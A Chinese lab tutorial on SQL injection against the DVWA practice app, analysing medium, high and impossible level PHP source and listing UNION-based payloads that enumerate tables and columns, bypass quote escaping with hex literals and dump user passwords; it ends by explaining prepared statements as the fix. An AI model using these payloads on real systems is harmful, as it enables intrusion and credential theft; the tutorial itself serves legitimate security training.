当前位置: 首页 > news >正文

DVWA靶场保姆级通关教程--07SQL注入下

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 目录

    文章目录

    前言

    一、medium级源码分析

    具体来说,这里的mysqli_real_escape_string()函数 会对以下字符加上反斜杠:

    1.判断注入点:修改字段为1',请求有回显的报错,而且明确就是单引号的注入报错,这是字符型注入的标志:

    2.判断字段数

    ​编辑3.判断具体哪些字段有回显

    3.获取表名:

    ​编辑 4.获取表中字段名:

    5.获取表中数据:

    二、high级别源码分析

    三、impossible级别源码分析 

    主要安全防护措施:

    什么是预处理?

    1. 准备阶段(Prepare):

    2. 绑定参数(Bind):

    3. 执行阶段(Execute):

    预处理语句的好处:

    总结:


前言

书接上回、这里直接从源码分析开始,直接演示SQL注入


一、medium级源码分析

<?php// 判断是否点击了提交按钮(即是否发送了POST请求)  
if( isset( $_POST[ 'Submit' ] ) ) {// 获取输入的id参数  $id = $_POST[ 'id' ];// 使用 mysqli_real_escape_string 对输入的id进行转义,防止SQL注入(但未加引号,仍有注入风险)  $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);// 构造SQL查询语句,注意此处未对 $id 加引号,会导致数值型注入漏洞  $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";// 执行SQL语句,若失败则输出错误  $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );// 遍历查询结果  while( $row = mysqli_fetch_assoc( $result ) ) {// 提取每一行中的 first_name 和 last_name 字段  $first = $row["first_name"];$last  = $row["last_name"];// 将结果输出给用户  echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}
}// 以下部分用于 index.php 页面统计用户数量  
// 在这里也设置是为了保持所有 source 脚本格式一致,统一在此关闭数据库连接  // 构造查询语句,统计用户表中的总记录数  
$query  = "SELECT COUNT(*) FROM users;";// 执行统计查询  
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// 获取查询结果中的记录数  
$number_of_rows = mysqli_fetch_row( $result )[0];// 关闭数据库连接  
mysqli_close($GLOBALS["___mysqli_ston"]);
?>

具体来说,这里的mysqli_real_escape_string()函数 会对以下字符加上反斜杠:

  • 单引号(')变成 \'

  • 双引号(")变成 \"

  • 反斜杠(\)变成 \\

  • NULL 字符变成 \\0

  • 换行符(\n)变成 \\n

  • 回车符(\r)变成 \\r

  • 等等

 

1.判断注入点:修改字段为1',请求有回显的报错,而且明确就是单引号的注入报错,这是字符型注入的标志:

2.判断字段数

输入id=1 order by 2#,查看返回数据,同样的当报错时,说明正确的字段数为n-1

这里正确的字段数为2

3.判断具体哪些字段有回显

联合查询union select:

输入-1 union select database(),user()# 查询数据库和用户名,查看返回数据:

输入-1 union select version(),@@version_compile_os# 查询数据库版本和操作系统,查看返回数据:

3.获取表名:


输入-1 union select table_name,table_schema from information_schema.tables where table_schema= database()#查询表名: 

这里只有两个字段会回显所以只显示了两个表名,如果要获取所有的表名可以像下面这样:

-1 union select hex(group_concat(table_name)),table_schema from information_schema.tables where table_schema= database()#

所有的表名显示为一个字段的16进制数,解析这个16进制数可以看到所有的表名

 4.获取表中字段名:

-1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

获取字段名的时候,会没有反应,因为源代码对单引号进行了转义,我们采用16进制绕过,得知users的十六进制为 0x7573657273


输入-1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273# users十六进制数为0x7573657273 ,查看返回数据:

-1 union select 1, hex(group_concat(column_name)) from information_schema.columns where table_name=0x7573657273#

5.获取表中数据:

输入-1 union select user,password from users#,查看数据:

也可以用low级别的让所有的用户名和密码显示到一起

二、high级别源码分析

<?php// 检查是否存在有效的会话id(即用户已登录并具有有效会话)  
if( isset( $_SESSION [ 'id' ] ) ) {// 获取用户id(假设它是从会话中传来的)  $id = $_SESSION[ 'id' ];// **存在SQL注入漏洞**:直接将未处理的用户输入($id)插入到查询中  // 如果 $id 中包含恶意的 SQL 代码,攻击者可以通过此漏洞进行SQL注入攻击$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";// 执行SQL查询,如果执行失败则输出错误信息  // 如果查询失败,提示 "Something went wrong."  $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );// 处理查询结果  while( $row = mysqli_fetch_assoc( $result ) ) {// 提取查询结果中的 first_name 和 last_name 字段  $first = $row["first_name"];$last  = $row["last_name"];// 向用户输出结果  // 显示用户的 ID、名字和姓氏  echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}// 关闭数据库连接,确保每次查询后都进行关闭  ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}?>

    • 可以看出,点击“here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数为1;
    • 其他步骤跟low和medium是一样,然后爆账号密码,输入-1' union select user,password from users#,查询返回数据:

    三、impossible级别源码分析 

    <?php// 检查是否通过 GET 请求提交了 'Submit' 参数  
    if( isset( $_GET[ 'Submit' ] ) ) {// 检查 Anti-CSRF(跨站请求伪造)令牌,确保请求是合法的,避免 CSRF 攻击  checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// 获取用户输入的 'id' 参数(来自 URL 查询字符串)  $id = $_GET[ 'id' ];// 判断输入的 id 是否为数字,如果是,则继续后续操作  if(is_numeric( $id )) {// 使用 PDO 预处理语句来防止 SQL 注入// 通过 prepare() 方法预先准备 SQL 查询,使用占位符 :id 替代直接插入 $id$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );// 绑定参数,将 $id 绑定到 :id 参数,并指定其类型为整数 (PDO::PARAM_INT)  $data->bindParam( ':id', $id, PDO::PARAM_INT );// 执行查询,获取用户数据  $data->execute();// 获取查询结果$row = $data->fetch();// 确保查询结果只有 1 条记录  if( $data->rowCount() == 1 ) {// 提取查询结果中的 first_name 和 last_name 字段  $first = $row[ 'first_name' ];$last  = $row[ 'last_name' ];// 向用户显示查询结果  echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}
    }// 生成 Anti-CSRF token,确保后续请求的合法性  
    generateSessionToken();?>
    

    主要安全防护措施:

    1. Anti-CSRF Token

      • 在操作之前,代码首先检查了 Anti-CSRF token 来防止跨站请求伪造(CSRF)攻击,确保请求来源是合法的。这是提高安全性的一个重要步骤,确保用户提交的表单请求是由合法用户发起的。

    2. 用户输入验证

      • 代码首先检查用户输入的 id 是否是数字(通过 is_numeric())。这样可以避免恶意用户提交非数字字符进入 SQL 查询中,减少了 SQL 注入的风险。然而,这仅仅是一个初步的防护措施,因为即使输入是数字,也可能存在其他安全问题(比如通过更复杂的输入绕过此检查)。

    3. PDO 预处理语句

      • 使用了 PDO(PHP 数据对象) 和预处理语句(prepared statements)。这是一种防止 SQL 注入的最佳实践。通过预处理语句,查询和数据被分开处理,输入的参数(例如 $id)通过占位符 :id 传递给数据库,而不是直接将其嵌入 SQL 查询中。这有效避免了 SQL 注入的可能性。

    4. 参数绑定

      • 使用 bindParam() 方法将用户输入的 $id 与 SQL 查询中的 :id 参数绑定,并指定其为整数(PDO::PARAM_INT)。这种方法确保了数据类型的安全性,避免了数据类型不一致可能带来的问题。

    5. 查询结果数量检查

      • 使用 rowCount() 方法确保查询结果只有一条记录,这样可以避免从数据库中获取到多个或没有匹配的用户记录,确保数据的准确性和安全性。

    6. 什么是预处理?

    “通过预处理语句,查询和数据被分开处理”是指在使用 预处理语句(prepared statements)时,SQL 查询和用户提供的数据被分开处理,从而避免了将用户输入直接插入到 SQL 查询中,避免了 SQL 注入的风险。

    具体来说,预处理语句的工作方式如下:

    1. 准备阶段(Prepare)

    在这个阶段,SQL 查询被发送到数据库服务器,但是查询中的参数部分(比如 WHERE user_id = :id)并没有直接使用用户输入的数据,而是使用占位符(如 :id)来代替数据。这个查询就像一个“模板”,它告诉数据库如何执行查询,但并没有指定具体的数据。

    例如:

    SELECT first_name, last_name FROM users WHERE user_id = :id;
    

    在这个例子中,:id 是一个占位符,它代表一个变量,但它的值暂时是未知的。数据库首先解析并准备这个查询,但并不会执行实际的数据库操作。

    2. 绑定参数(Bind)

    在准备好查询后,程序通过绑定操作将实际的数据(即用户输入的 $id)与占位符(:id)关联起来。这里的关键是,数据库并不知道参数的具体值,它只知道这些占位符代表某些数据。

    $data->bindParam(':id', $id, PDO::PARAM_INT);
    

    这里的 $id 是用户输入的实际数据,bindParam() 方法会将这个值绑定到查询中的 :id 占位符上,并指定它的类型(例如:整数 PDO::PARAM_INT)。

    3. 执行阶段(Execute)

    在执行阶段,数据库会用绑定的值替换占位符(:id),然后执行查询。由于查询和数据在两个不同的步骤中被处理,数据库引擎能够确保查询结构不会被篡改,也能安全地插入用户数据。

    执行时,数据库会将 $id 替换占位符,并执行查询:

    SELECT first_name, last_name FROM users WHERE user_id = 123;
    

    这时,数据库会查询 user_id = 123 的记录。

    预处理语句的好处:

    • 防止 SQL 注入:因为 SQL 查询结构(如 SELECT ... FROM ... WHERE ...)在发送到数据库时是固定的,用户数据仅仅作为参数绑定给占位符,所以即使用户输入恶意的 SQL 语句(例如 ' OR 1=1; --),也不会改变查询的结构。

    • 性能优化:预处理语句在第一次执行时会被编译和缓存,后续相同的查询可以直接使用缓存的执行计划,提高性能。

    • 可读性和安全性:使用占位符和绑定参数,使得代码更清晰和易于维护,同时增强了安全性。

    总结:

    通过预处理语句,查询和数据被分开处理,意味着 SQL 查询的结构与实际的数据(例如用户输入)是分开的。数据库首先接收的是一个结构化的查询模板,数据仅在执行时被绑定进去,这样可以有效防止 SQL 注入攻击。

    http://www.xdnf.cn/news/398413.html

    相关文章:

  • 机器学习第七讲:概率统计 → 预测可能性,下雨概率70%就是典型应用
  • 药物抓取准确率97.3%!YOLO-EASB+IAFFGA-Net:如何让智能药房机器人靠视觉算法征服杂乱场景?
  • 搭建大数据学习的平台
  • 服务网格的“解剖学” - 控制平面与数据平面
  • 支付宝API-SKD-GO版
  • 打破GPU显存墙:FlashAttention-2算法在LLM训练中的极致优化实践
  • OpenCV CUDA 模块中在 GPU 上对图像或矩阵进行 翻转(镜像)操作的一个函数 flip()
  • Dockerfile 常见语法和指令
  • 青少年编程与数学 02-019 Rust 编程基础 08课题、字面量、运算符和表达式
  • RDD的五大特征
  • DICOM 网络服务实现:医学影像传输与管理的技术实践
  • Hadoop的组成,HDFS架构,YARN架构概述
  • 互联网大厂Java求职面试实战:Spring Boot与微服务场景深度解析
  • 学习日志03 java
  • 【Java继承】——面向对象编程的基石
  • ngx_http_limit_conn_module精准连接控制
  • C#里WPF使用触发器实现鼠标点击响应
  • 谷歌Gemini生图升级:与GPT-4o的对决,谁更胜一筹?
  • 克隆虚拟机组成集群
  • Python爬虫第20节-使用 Selenium 爬取小米商城空调商品
  • Electron学习大纲
  • 从零开始的python学习(七)P89+P90+P91+P92+P93+P94
  • 关于高并发GIS数据处理的一点经验分享
  • flutter 的 json序列化和反序列化
  • 南京邮电大学金工实习答案
  • 全模态具身智能:从 VLM 到 MLLM
  • Multisim14使用教程详尽版--(2025最新版)
  • 【网络原理】数据链路层
  • 场馆订 场馆预订平台 数据库设计
  • 如何构建通用深度反思(deep-research)能力的Agent?